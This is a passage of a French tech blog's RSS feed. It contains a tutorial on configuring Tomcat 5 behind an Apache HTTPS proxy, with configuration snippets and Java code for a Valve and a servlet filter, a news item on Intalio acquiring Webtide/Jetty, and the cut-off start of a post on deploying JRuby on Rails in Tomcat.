/> La remise à disposition des places des personnes non présentes 5 minutes avant le début de la session reste envisageable mais l&#8217;abonnement à la newsletter / rss / autre reste quand même le meilleur moyen d&#8217;être averti à temps !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Sécuriser Tomcat 5 derrière un proxy Apache 2 HTTPS</title><link>http://blog.xebia.fr/2009/09/23/securiser-tomcat-5-derriere-un-proxy-apache-2-https/</link> <comments>http://blog.xebia.fr/2009/09/23/securiser-tomcat-5-derriere-un-proxy-apache-2-https/#comments</comments> <pubDate>Wed, 23 Sep 2009 11:35:21 +0000</pubDate> <dc:creator>Séven Le Mesle</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[Tomcat]]></category> <category><![CDATA[Valve]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2888</guid> <description><![CDATA[Configurer Tomcat 5 derrière un proxy Apache avec HTTPS, dit comme ça, le novice éclairé pourrait croire que c&#8217;est facile. Cependant les problèmes dus à de mauvaises configurations sont nombreux et parfois difficiles à diagnostiquer comme les boucles infinies de redirection par exemple. Donc facile oui (maintenant), mais il m&#8217;a fallu plusieurs heures de sueur [...]]]></description> <content:encoded><![CDATA[<p>Configurer Tomcat 5 derrière un proxy Apache avec HTTPS, dit comme ça, le novice éclairé pourrait croire que c&#8217;est facile. Cependant les problèmes dus à de mauvaises configurations sont nombreux et parfois difficiles à diagnostiquer comme les boucles infinies de redirection par exemple. Donc facile oui (maintenant), mais il m&#8217;a fallu plusieurs heures de sueur avant de trouver, non pas une, mais deux solutions. L&#8217;avantage de ces deux techniques est de n&#8217;utiliser que le driver SSL d&#8217;Apache pour fournir le protocole HTTPS. Notez bien cette distinction, car il est facile d&#8217;avoir la configuration Apache HTTPS en proxy de Tomcat 5 HTTPS. Toute la difficulté est d&#8217;avoir une configuration pleinement fonctionnelle dans laquelle Apache HTTPS est proxy de Tomcat 5 HTTP. Cela permet de sniffer les paquets entre le frontal Web et l&#8217;application métier, tout en évitant de doubler les ressources utilisées pour encrypter et décrypter les données.</p><p>Un détail pour ceux qui utilisent le <code>mod_jk</code>, le projet Apache Httpd propose depuis Apache 2.0, le module <code>mod_proxy</code> qui permet notamment d&#8217;assurer la liaison Apache-Tomcat. Ce module, complété en version 2.2 de <code>mod_proxy_balancer</code> pour le <em>load balancing</em>, supporte les protocole HTTP (<code>mod_proxy_http</code>) et AJP 1.3 (<code>mod_proxy_ajp</code>). Si AJP a longtemps été le protocole utilisé par Tomcat en production, il est aujourd&#8217;hui possible, plus simple et plus fiable d&#8217;utiliser HTTP. HTTP est notamment recommandé par Mark Thomas et Philip Hanik, SpringSource, qui sont les plus gros contributeurs du projet Tomcat en ce moment.<br
/> Si vous êtes habitués à <code>mod_jk</code>, vous apprécierez notamment la simplicité d&#8217;un module embarqué par la distribution standard de Tomcat, la fin des interrogations sur la fermeture des connexions en présence d&#8217;un firewall entre Apache et Tomcat ou encore le débuggage avec un <em>sniffeur réseau</em> comme <a
href="http://www.wireshark.org/">wireshark</a> pour voir passer en clair les requêtes HTTP.</p><h3><a
name="Prrequis"></a>Prérequis</h3><p>Nous passerons les étapes fastidieuses de création des certificats déjà largement documentées à travers le net. Vous devez donc être muni d&#8217;une installation Apache déjà fonctionnelle en HTTP comme en HTTPS. Pensez aussi à vérifier que le <code>mod_proxy_http</code> est bien installé et chargé au démarrage d&#8217;Apache. Puisqu&#8217;il s&#8217;agit de Tomcat 5, récupérez aussi la dernière version (Tomcat 5.5.28 actuellement). A priori, ce tutoriel est valide pour toutes les versions de Tomcat 5.5 mais je l&#8217;ai uniquement testé sur la version sus-mentionnée.</p><p>Voilà, c&#8217;est à peu près tout, en dehors de l&#8217;application web à tester. Par manque de temps, je ne vous proposerai pas d&#8217;application web de démonstration. A vous donc de choisir le war que vous allez tester.</p><h3><a
name="ConfigurerleproxyapacheHTTP"></a>Configurer le proxy Apache HTTP</h3><p>L&#8217;objectif de cette étape est d&#8217;avoir accès à travers Apache, sur le port 80, à notre application web <code>testapp</code>, hébergée par Tomcat. Nous allons donc configurer un proxy Apache redirigeant les requêtes HTTP sur le contexte <code>/testapp</code> vers le contexte du même nom, sur le port 8080 du Tomcat. Pour que tout reste clair, j&#8217;ai choisi de considérer que Tomcat et Apache sont sur la même machine à l&#8217;adresse IP <code>192.168.42.42</code>, vous devrez donc remplacer à chaque fois qu&#8217;elle apparaît cette IP par celle de votre machine. N&#8217;hésitez pas non plus, à remplacer l&#8217;utilisation de l&#8217;adresse IP par celle d&#8217;un nom de domaine DNS pour plus de flexibilité.</p><h4><a
name="Apache"></a>Apache</h4><p>Tout d&#8217;abord, assurez-vous que le <code>mod_proxy</code> et le <code>mod_proxy_http</code> sont bien chargés au démarrage. Vérifiez dans le fichier <code>httpd.conf</code> ou dans les fichiers de chargement de modules que ces deux lignes sont bien présentes et dé-commentées :</p><p><code><br
/> LoadModule proxy_module libexec/apache2/mod_proxy.so<br
/> LoadModule proxy_http_module libexec/apache2/mod_proxy_http.so<br
/> </code></p><p>Attention, ces lignes sont issues de mon <code>httpd.conf</code> sous OS X, les chemins et l&#8217;extension peuvent donc varier selon votre système. Recherchez le terme <code>mod_proxy</code> dans les fichiers de configuration d&#8217;Apache. Si vous ne le trouvez pas, alors vous devrez sans doute installer le module par vous-même.</p><p>Il faut créer un hôte virtuel qui recevra les requêtes sur le port 80 et les passera au serveur Tomcat. Créez d&#8217;abord le fichier proxyTomcat.conf</p><pre class="brush: xml; title: ; notranslate">
#
# proxyTomcat.conf Proxy Server directives.
#
&lt;IfModule mod_proxy.c&gt;
&lt;VirtualHost _default_:80&gt;
    ProxyRequests Off       # Le proxy n'est accessible que pour les urls définies
    ProxyPreserveHost On    # Conserver le nom d'hôte d'origine dans la requête
        # Rediriger les requêtes sur /testapp vers http://192.168.42.42:8080/testapp
    ProxyPass    /testapp    http://192.168.42.42:8080/testapp
        # Ajuster les URL de la réponse HTTP du serveur Tomcat
    ProxyPassReverse /testapp http://192.168.42.42:8080/testapp
&lt;/VirtualHost&gt;
&lt;/IfModule&gt;
</pre><p>Si vous êtes totalement novice en configuration Apache, commentez les balises <code>IfModule</code> en plaçant un # en début de ligne. Ces commandes permettent à Apache de ne prendre en compte les paramétrages dans la balise que si le module est bien présent. Si vous les commentez et que le module n&#8217;est pas disponible, Apache vous remontera un problème de configuration à son prochain démarrage.</p><p>La balise VirtualHost crée un hôte virtuel qui va nous permettre d&#8217;isoler la configuration du proxy pour le port 80. Cela nous apporte la garantie que seules les requêtes arrivant sur ce port utiliseront notre configuration. Si les directives <code>ProxyPass*</code> sont placées en dehors d&#8217;un hôte virtuel, elles s&#8217;appliqueront quelque soit le port de connexion 80/443 en entrée. Ce qui sera totalement transparent en HTTP, mais vous causera de sérieuses difficultés dès que vous accéderez au serveur par HTTPS.</p><p>Copiez le fichier dans le répertoire contenant les fichiers chargés au démarrage d&#8217;Apache. Là encore, si vous ne trouvez pas où copier le fichier <code>proxyTomcat.conf</code>, placez-le à côté de votre <code>httpd.conf</code>. Éditez ensuite le fichier httpd.conf et ajoutez-y, à la fin, la ligne :</p><pre class="brush: java; title: ; notranslate">
Include chemin/absolu/vers/proxyTomcat.conf
</pre><p>Attention : Apache utilise &#8216;/&#8217; comme séparateur de fichier sous Windows, le chemin devrait ressembler à <code>c:/apache2/conf/proxyTomcat.conf</code>. Vous pouvez aussi rechercher la directive <code>Include</code> contenant un chemin finissant par <code>.../*.conf</code> pour déterminer le répertoire où stocker notre fichier de configuration.</p><p>Pour éviter tout problème, vous pouvez aussi vérifier que l&#8217;hôte virtuel <code><em>default</em>:80</code> n&#8217;existe pas déjà. Le cas échéant, contentez-vous de copier le contenu de notre hôte virtuel à la fin de celui qui existe déjà.</p><h4><a
name="Tomcat"></a>Tomcat</h4><p>Cette étape est la partie facile ! Il suffit d&#8217;ajouter deux petits attributs au connecteur du port 8080 de votre <code>server.xml</code>. Éditez le fichier <code>server.xml</code> qui se trouve dans le répertoire <code>conf</code> de Tomcat, et ajoutez-y les attributs <code>proxyPort="80" proxyName="192.168.42.42"</code> au connecteur du port 8080.</p><pre class="brush: xml; title: ; notranslate">
&lt;Connector port=&quot;8080&quot; ... proxyPort=&quot;80&quot; proxyName=&quot;192.168.42.42&quot; /&gt;
</pre><p>Tomcat utilisera la valeur de <code>ProxyPort</code> pour les requêtes traitées par ce connecteur. De la même façon, la valeur de <code>ProxyName</code> sera utilisée comme nom d&#8217;hôte du serveur.</p><p>Relancez Tomcat et Apache pour vous assurer que les modifications sont bien prises en compte. Testez l&#8217;accès à votre application web avec votre navigateur préféré <a
href="http://localhost/testapp" title="httplocalhosttestapp" >http://localhost/testapp</a>.</p><h3><a
name="ConfigurerleproxyApacheHTTPS"></a>Configurer le proxy Apache HTTPS</h3><p>Pour cette étape, l&#8217;objectif est d&#8217;accéder à travers Apache en HTTPS à l&#8217;application web testapp hébergée par Tomcat. Nous allons donc créer un proxy Apache redirigeant les requêtes HTTPS sur le contexte <code>/testapp</code> vers le contexte du même nom sur le port 8443 du serveur Tomcat. L&#8217;utilisation d&#8217;un deuxième port nous permettra plus tard de faire la distinction entre les requêtes sécurisées <code>request.isSecure()</code> et les autres.</p><h4><a
name="Apache"></a>Apache</h4><p>Ici, le travail est simple puisqu&#8217;il suffit d&#8217;ajouter les mêmes directives de proxy que tout à l&#8217;heure à la configuration SSL d&#8217;Apache.</p><p>Il faut d&#8217;abord localiser le fichier dans lequel le support SSL d&#8217;Apache est configuré. Sur mon mac, c&#8217;est dans <code>/private/etc/apache2/extra/httpd_ssl.conf</code>. Pour trouver le nom du fichier, cherchez la ligne <code>Listen 443</code> ou mieux <code>&lt;VirtualHost _default_:443&gt;</code>. Éditez le fichier et ajoutez à la fin de l&#8217;hôte virtuel les lignes suivantes.</p><pre class="brush: xml; title: ; notranslate">
#
# HTTPS Proxy Server directives.
#
&lt;IfModule mod_proxy.c&gt;
    ProxyRequests Off       # Le proxy n'est accessible que pour les urls définies
    ProxyPreserveHost On    # Conserver le nom d'hôte d'origine dans la requête
        # Rediriger les requêtes sur /testapp vers http://192.168.42.42:8443/testapp
    ProxyPass    /testapp    http://192.168.42.42:8443/testapp
        # Ajuster les URL de la réponse HTTP du serveur Tomcat
    ProxyPassReverse /testapp http://192.168.42.42:8443/testapp
&lt;/IfModule&gt;
</pre><p>Notez bien que cette fois j&#8217;ai utilisé le port 8443 pour les redirections.</p><h4><a
name="Tomcat"></a>Tomcat</h4><p>Pour cette partie, il faut juste ajouter un connecteur sur le port 8443 au fichier <code>server.xml</code> de Tomcat.</p><pre class="brush: xml; title: ; notranslate">
&lt;Connector port=&quot;8443&quot; proxyPort=&quot;443&quot; proxyName=&quot;192.168.42.42&quot;/&gt;
</pre><p>Vous pourrez affiner la configuration de ce connecteur plus tard. Pour le moment le principal est d&#8217;avoir notre accès en HTTPS.</p><p>Relancez Tomcat et Apache pour vous assurer que les modifications sont bien prises en compte. Testez l&#8217;accès à votre application web avec votre navigateur préféré <a
href="https://localhost/testapp" title="httpslocalhosttestapp" >https://localhost/testapp</a>. Tout à l&#8217;air de fonctionner correctement, pourtant, vous vous rendrez vite compte que les redirections entre HTTP et HTTPS finissent en boucle de redirection infinie, n&#8217;aboutissent pas, bref ne fonctionnent pas. J&#8217;ai eu le problème avec le <code>ChannelProcessingFilter</code> de Spring Security, mais d&#8217;une manière générale, tout ce qui utilise la méthode <code>HttpServletRequest.isSecure()</code> sera affecté.</p><h3><a
name="ForcerleretourdeisSecuretrue"></a>Forcer le retour de isSecure() à true</h3><p>Premier piège à éviter, passer sur le connecteur du port 8443, l&#8217;attribut <code>secure</code> à <code>true</code>. Dans les faits cela pourrait marcher, car avec cet attribut, Tomcat forcera bien la valeur de la propriété <code>secure</code> de la requête. Le problème c&#8217;est qu&#8217;elle force aussi le chargement du driver SSL pour le connecteur. Attention, dans Tomcat 6 le problème semble avoir été corrigé.</p><p>Il existe à ma connaissance deux façons de modifier la requête avant qu&#8217;elle ne soit traitée par notre application. La première solution utilise une <code>Valve</code> Tomcat pour modifier la requête en fonction du port de destination (8080 ou 8443). La deuxième solution passe par la création d&#8217;un filtre HTTP dans l&#8217;application testapp.</p><h4><a
name="ValveTomcat"></a>Valve Tomcat</h4><p>Les valves sont des filtres spécifiques de Tomcat fonctionnant en quelque sorte comme des filtres de servlet. Ils ont l&#8217;avantage d&#8217;être exécutés avant tous les processeurs de requêtes (filtre, servlet, &#8230;) et d&#8217;être définis pour l&#8217;ensemble du serveur et non pour l&#8217;application web uniquement.</p><p>Nous allons donc créer une valve qui comparera le port de réception de la requête à un paramètre de configuration <code>securePort</code>. S&#8217;ils sont égaux, la valve passe <code>secure</code> à true et <code>scheme</code> à HTTPS pour que l&#8217;illusion soit parfaite. Elle finit en invoquant l&#8217;exécution du filtre suivant.</p><pre class="brush: java; title: ; notranslate">
package fr.xebia.tomcat;
import java.io.IOException;
import java.util.logging.LogManager;
import java.util.logging.Logger;
import javax.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
/**
  * Valve passant les requetes sur le port {@link SecurePortValve#securePort}, en mode securise
  *
  * @author slm
  *
  */
public class SecurePortValve extends ValveBase {
    /**
      * Par defaut le port securise est le 8443
      */
    private int securePort = 8443;
    private static final Logger LOG = LogManager.getLogManager().getLogger(SecurePortValve.class.toString());
    public void setSecurePort(int securePort) {
        this.securePort = securePort;
    }
    public int getSecurePort() {
        return securePort;
    }
    /**
      * execution du filtre
      */
    public void invoke(Request req, Response resp) throws IOException, ServletException {
        LOG.info(&quot;Invocation de la valve pour securiser le port &quot;
                 + securePort + &quot; pour une requete sur le port &quot; + req.getLocalPort());
        if (req.getLocalPort() == securePort) {
            req.setSecure(true);
            req.setScheme(&quot;https&quot;);
            LOG.info(&quot;La requete vient du port securise: Passage de secure a true&quot;);
        } else {
            LOG.info(&quot;La requete ne vient pas du port securise.&quot;);
        }
        if (getNext() != null) {
            getNext().invoke(req, resp);
        }
    }
}
</pre><p>Vous pouvez récupérer <a
href="http://blog.xebia.fr/wp-content/uploads/2009/09/tomcat.zip" title="ici" >ici</a> le projet maven et <a
href="http://blog.xebia.fr/wp-content/uploads/2009/09/tomcat-0.0.1-SNAPSHOT.jar.zip" title="ici" >ici</a> le jar que j&#8217;ai utilisé pour les tests. Copiez le jar dans le répertoire server/lib de Tomcat. Il faut maintenant ajouter la valve à la configuration du serveur. Éditez le fichier <code>server.xml</code> et insérez avec les autres <code>Valve</code> de la balise <code>Engine</code>, la ligne suivante.</p><pre class="brush: xml; title: ; notranslate">
&lt;Valve className=&quot;fr.xebia.tomcat.SecurePortValve&quot; securePort=&quot;8443&quot;/&gt;
</pre><p>Reste à croiser les doigts, redémarrer Tomcat et vérifier que cela fonctionne correctement. Notez que j&#8217;ai volontairement mis les logs en info dans le code pour avoir un retour rapide sans plus de configuration. Supprimez-les, ou passez-les en debug une fois les premiers tests réalisés avec succès.</p><h4><a
name="ServletFilter"></a>ServletFilter</h4><p>Pour cette solution il suffit de monter un filtre décrit dans le <code>web.xml</code>. Le filtre quand il sera exécuté, fera approximativement la même chose que la <code>Valve</code>, à savoir comparer le port de réception à une valeur de configuration <code>securePort</code>. Si les deux valeurs sont égales, notre filtre substituera la requête d&#8217;origine par un objet <code>HttpServletRequestWrapper</code> qui surchargera les méthodes <code>isSecure()</code> et <code>getScheme()</code>. L&#8217;avantage de cette technique est d&#8217;obtenir une solution portable qui ne s&#8217;appliquera qu&#8217;à l&#8217;application web sans nécessiter de reconfigurer le serveur Tomcat.</p><pre class="brush: java; title: ; notranslate">
package fr.xebia.tomcat;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.LogManager;
import java.util.logging.Logger;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
/**
  * Filtre de servlet permettant de passer la requete en mode securise sur la base du port de réception.
  *
  * @author slm
  */
public class SecurePortFilter implements Filter {
    private static final String SECURE_PORT_PARAM_NAME = &quot;securePort&quot;;
    private static final Logger LOG = LogManager.getLogManager().getLogger(SecurePortFilter.class.toString());
    private int securePort = 8443;
    public void destroy() {
    }
    /**
     * Filtrage des requetes pour passer en mode securise sur les requetes venant du port {@link SecurePortFilter#securePort}
     */
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        if (req.getLocalPort() == securePort) {
            if (LOG.isLoggable(Level.FINEST)) {
                LOG.log(Level.FINEST, &quot;La requete vient du port securise &quot; + securePort
                        + &quot;, on positionne secure a true et scheme a 'https'&quot;);
            }
            if (req instanceof HttpServletRequest) {
                req = new HttpServletRequestWrapper((HttpServletRequest) req) {
                    public boolean isSecure() {
                        return true;
                    }
                    public String getScheme() {
                        return &quot;https&quot;;
                    }
                };
            }
        }
        chain.doFilter(req, resp);
    }
    /**
     * Chargement du parametre de configuration {@link SecurePortFilter#securePort}
     */
    public void init(FilterConfig config) throws ServletException {
        String paramValue = config.getInitParameter(SECURE_PORT_PARAM_NAME);
        if (paramValue != null) {
            try {
                securePort = Integer.parseInt(paramValue);
            } catch (NumberFormatException e) {
                LOG.log(Level.WARNING, &quot;La valeur &quot; + paramValue +
                        &quot; du parametre d'initialisation &quot; + SECURE_PORT_PARAM_NAME
                        + &quot; n'est pas un entier valide !&quot;, e);
            }
        }
        LOG.info(&quot;Les requetes venant du port &quot; + securePort + &quot; seront securise&quot;);
    }
}
</pre><p>Notez bien le test réalisé avec l&#8217;opérateur <code>instanceof</code>. Le risque était de perdre des informations liées au type <code>HttpServletRequest</code>. Donc je teste le type avant de construire un <code>HTTPServletRequestWrapper</code> et d&#8217;invoquer le filtre suivant de la chaîne. Pour tout dire, j&#8217;avais des erreurs remontées par les <code>OncePerRequestFilter</code> de Spring que nous utilisons dans le projet pour gérer le chargement des locales notamment.</p><p>Si vous avez fait le test avec la <code>SecurePortValve</code> et que vous désirez maintenant utiliser le <code>SecurePortFilter</code>, pensez avant toute chose à commenter la ligne qui active son utilisation dans le <code>server.xml</code>. Intégrez ensuite le filtre à votre application. Vous pouvez copier le jar récupéré plus haut dans le répertoire <code>WEB-INF/lib</code> de votre application, le mettre en dépendance dans votre pom Maven ou simplement recopier le code dans vos sources. Il faut ensuite ajouter la configuration du filtre dans le <code>web.xml</code>. Attention, nous voulons que <code>SecurePortFilter</code> soit le premier filtre exécuté de la chaîne pour garantir que la requête sera bien sécurisée en amont de tous nos traitements. Éditez le <code>web.xml</code> et ajoutez <strong>avant</strong> le premier mapping de filtre les lignes suivantes.</p><pre class="brush: xml; title: ; notranslate">
&lt;!-- [...] --&gt;
    &lt;filter&gt;
        &lt;filter-name&gt;securePortFilter&lt;/filter-name&gt;
        &lt;filter-class&gt;fr.xebia.tomcat.SecurePortFilter&lt;/filter-class&gt;
        &lt;init-param&gt;
        	&lt;param-name&gt;securePort&lt;/param-name&gt;
        	&lt;param-value&gt;8443&lt;/param-value&gt;
        &lt;/init-param&gt;
    &lt;/filter&gt;
    &lt;filter-mapping&gt;
        &lt;filter-name&gt;securePortFilter&lt;/filter-name&gt;
        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
    &lt;/filter-mapping&gt;
&lt;!-- [...] --&gt;
</pre><p>Redéployez l&#8217;application et vérifiez que tout fonctionne. A ce stade, vous avez une configuration complètement fonctionnelle en HTTP et en HTTPS avec le serveur Apache en frontal devant Tomcat.</p><h3><a
name="Allerplusloin"></a>Aller plus loin</h3><p>Commencez par savourer votre succès, un peu d&#8217;auto-statisfaction ne fait pas de mal. Parmi les possibilités, vous pouvez déporter Apache ou Tomcat sur une autre machine, ou même utiliser des noms de contextes différents grâce au <code>ProxyPassReverse</code> d&#8217;Apache. Avec le <code>mod_proxy_balancer</code> vous pourrez aussi configurer Apache pour faire de la répartition de charge sur un cluster de serveurs Tomcat.</p><ul><li><a
href="http://httpd.apache.org/docs/2.2/mod/mod_proxy.html" title="Documentation du modproxy" >Documentation du mod_proxy</a></li><li><a
href="http://tomcat.apache.org/tomcat-5.5-doc/config/index.html" title="Documentation de Tomcat 5" >Documentation de Tomcat 5</a></li><li><a
href="http://httpd.apache.org/docs/2.0/ssl/" title="Documentation SSL dApache 2" >Documentation SSL d&#8217;Apache 2</a></li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/09/23/securiser-tomcat-5-derriere-un-proxy-apache-2-https/feed/</wfw:commentRss> <slash:comments>14</slash:comments> </item> <item><title>Java Cloud : après Tomcat, c&#8217;est au tour de Jetty !</title><link>http://blog.xebia.fr/2009/09/03/java-cloud-apres-tomcat-cest-au-tour-de-jetty/</link> <comments>http://blog.xebia.fr/2009/09/03/java-cloud-apres-tomcat-cest-au-tour-de-jetty/#comments</comments> <pubDate>Thu, 03 Sep 2009 17:24:25 +0000</pubDate> <dc:creator>Cyrille Le Clerc</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Cloud Computing]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Jetty]]></category> <category><![CDATA[SpringSource]]></category> <category><![CDATA[Tomcat]]></category> <category><![CDATA[VMWare]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2774</guid> <description><![CDATA[Après Tomcat qui rentrait cet été de plain-pied dans l&#8217;univers du Java Platform as a Service avec le mariage de SpringSource à VMWare et à CloudFoundry, c&#8217;est au tour de l&#8217;autre moteur léger de servlets, Jetty/Webtide, de s&#8217;adosser à un acteur du Cloud Computing, Intalio, pour développer son offre. Une reconnaissance méritée C&#8217;est une très [...]]]></description> <content:encoded><![CDATA[<p>Après Tomcat qui rentrait cet été de plain-pied dans l&#8217;univers du Java Platform as a Service avec le mariage de SpringSource à VMWare et à CloudFoundry, c&#8217;est au tour de l&#8217;autre moteur léger de servlets, Jetty/<a
href="http://www.webtide.com/">Webtide</a>, de s&#8217;adosser à un acteur du Cloud Computing, <a
href="http://www.intalio.com">Intalio</a>, pour développer son offre.</p><p><strong>Une reconnaissance méritée</strong><br
/> C&#8217;est une très belle opportunité pour Jetty qui était jusqu&#8217;à présent beaucoup plus embarqué que Tomcat par des grands projets de Cloud Computing (Google App Engine, Hadoop, Gigaspace XAP, etc) mais n&#8217;avait pas constitué sa propre offre.</p><p><strong>Sur les pas d&#8217;Amazon ?</strong><br
/> Le mariage d&#8217;Intalio avec Webtide est assez différent de celui de SpringSource avec VMWare et Cloud Foundry. Alors que la deuxième union concerne des spécialistes de l&#8217;infrastructure, Intalio est lui issu de l&#8217;univers des applications CRM et s&#8217;étend vers les infrastructures de Cloud Computing comme l&#8217;a fait Amazon auparavant.</p><p><strong>Des serveurs J2EE <em>lourds</em> absents</strong><br
/> Nous remarquerons à l&#8217;occasion que les serveurs J2EE <em>heavyweight</em> se font très discrets dans cette période d&#8217;avalanche d&#8217;annonces sur Java Platform as a Service, on peut s&#8217;attendre à ce qu&#8217;ils répondent sur cette tendance qui va bouleverser les modes de fonctionnement dans les data centers et menacer leurs parts de marché.</p><p><strong>Ils en parlent</strong></p><ul><li><a
href="http://www.intalio.com/news/press-releases/intalio-acquires-webtide-developer-of-the-jetty-application-server/">L&#8217;annonce officielle par Intalio</a></li><li><a
href="http://blogs.webtide.com/gregw/entry/urbanization_in_the_noosphere_intalio">L&#8217;annonce par Greg Wilkins, co-fondateur de Webtide</a></li><li>InfoQ : <a
href="http://www.infoq.com/news/2009/09/intalio-acquires-webtide">Intalio acquires Webtide</a></li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/09/03/java-cloud-apres-tomcat-cest-au-tour-de-jetty/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Où en est JRuby on Rails ?</title><link>http://blog.xebia.fr/2009/08/28/ou-en-est-jruby-on-rails/</link> <comments>http://blog.xebia.fr/2009/08/28/ou-en-est-jruby-on-rails/#comments</comments> <pubDate>Fri, 28 Aug 2009 09:08:15 +0000</pubDate> <dc:creator>Aurélien Maury</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JRuby]]></category> <category><![CDATA[Rails]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2712</guid> <description><![CDATA[Le projet JRuby fournit aux développeurs une implémentation native Java du langage Ruby. Le but est d&#8217;interfacer sans douleur des classes Java et des scripts Ruby. La star du monde Ruby est bien entendu Ruby On Rails, le fameux framework réputé tellement productif qu&#8217;il suffit de penser le projet pour voir les lignes de code [...]]]></description> <content:encoded><![CDATA[<p>Le projet <a
href="http://jruby.codehaus.org/" title="JRuby" >JRuby</a> fournit aux développeurs une implémentation native Java du langage Ruby. Le but est d&#8217;interfacer sans douleur des classes Java et des scripts Ruby. La star du monde Ruby est bien entendu <a
href="http://rubyonrails.org/" title="Ruby On Rails" >Ruby On Rails</a>, le fameux framework réputé tellement productif qu&#8217;il suffit de penser le projet pour voir les lignes de code apparaître &#8230; Depuis quelques temps, on entend parler dans la blogosphère de <em>JRuby on Rails</em>. Nous allons tenter de voir si cette solution est mûre ou non pour les développements d&#8217;applications web.</p><h2><a
name="Dcouverte"></a>Découverte</h2><p>Pour les débutants sur JRuby, le <a
href="http://kenai.com/projects/jruby/pages/Home" title="Wiki officiel JRuby" >Wiki officiel JRuby</a> contient plein de ressources intéressantes. Dans la section <strong>JRuby on Rails</strong>, nous pouvons voir un alléchant lien intitulé &laquo;&nbsp;<a
href="http://thenice.tumblr.com/post/133345213/deploying-a-rails-application-in-tomcat-with-jruby-a" title="Deploying a Rails App in Tomcat with JRuby" >Deploying a Rails App in Tomcat with JRuby</a>&laquo;&nbsp;, que je vous invite à suivre. Il est simple et permet d&#8217;appréhender en douceur le fonctionnement des applications Rails, entièrement avec JRuby.</p><p>En fin de tutoriel, nous sommes invités à visualiser l&#8217;url <code>http://localhost:8080/phonebook/people</code> pour voir le résultat de notre micro-application, et à la place, on obtient ce superbe message :</p><p><img
src="http://blog.xebia.fr/wp-content/uploads/2009/08/sorry_but_smtg_went_wrong.png" alt="sorry_but_smtg_went_wrong" title="sorry_but_smtg_went_wrong" width="549" height="126" class="aligncenter size-full wp-image-2716" /></p><p>Et dans les logs tomcat, on peut voir des insultes ressemblant à ceci :</p><pre class="brush: plain; title: ; notranslate">
GRAVE: unable to create shared application instance
org.jruby.rack.RackInitializationException: undefined method 'new' for &quot;Rack::Lock&quot;:String
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/gems/gems/actionpack-2.3.3/lib/action_controller/middleware_stack.rb:116:in 'inject'
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/gems/gems/actionpack-2.3.3/lib/action_controller/middleware_stack.rb:116:in 'build'
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/gems/gems/actionpack-2.3.3/lib/action_controller/dispatcher.rb:82:in 'initialize'
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/gems/gems/actionpack-2.3.3/lib/action_controller/dispatcher.rb:52:in 'run_prepare_callbacks'
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/gems/gems/rails-2.3.3/lib/initializer.rb:631:in 'prepare_dispatcher'
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/gems/gems/rails-2.3.3/lib/initializer.rb:185:in 'process'
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/gems/gems/rails-2.3.3/lib/initializer.rb:113:in 'run'
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/config/environment.rb:9
	from /home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/config/environment.rb:26:in 'load'
	from file:/home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/lib/jruby-rack-0.9.4.jar!/jruby/rack/rails.rb:26:in 'load_environment'
	from file:/home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/lib/jruby-rack-0.9.4.jar!/jruby/rack/rails.rb:151:in 'new'
	from &lt;script&gt;:2
	from file:/home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/lib/jruby-rack-0.9.4.jar!/rack/builder.rb:29:in 'instance_eval'
	from file:/home/amaury/JAVA/apache-tomcat-5.5.26/webapps/phonebook/WEB-INF/lib/jruby-rack-0.9.4.jar!/rack/builder.rb:29:in 'initialize'
	from &lt;script&gt;:2
	at org.jruby.rack.DefaultRackApplicationFactory$4.init(DefaultRackApplicationFactory.java:153)
	at org.jruby.rack.DefaultRackApplicationFactory.getApplication(DefaultRackApplicationFactory.java:50)
	at org.jruby.rack.SharedRackApplicationFactory.init(SharedRackApplicationFactory.java:26)
	at org.jruby.rack.RackServletContextListener.contextInitialized(RackServletContextListener.java:39)
	at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:3764)
...
</pre><p>Ne vous inquiétez pas, le problème vient d&#8217;une petite incompatibilité entre <code>jruby-rack</code> 0.9.4 et <code>rails</code> 2.3.3. Le bug est connu, <a
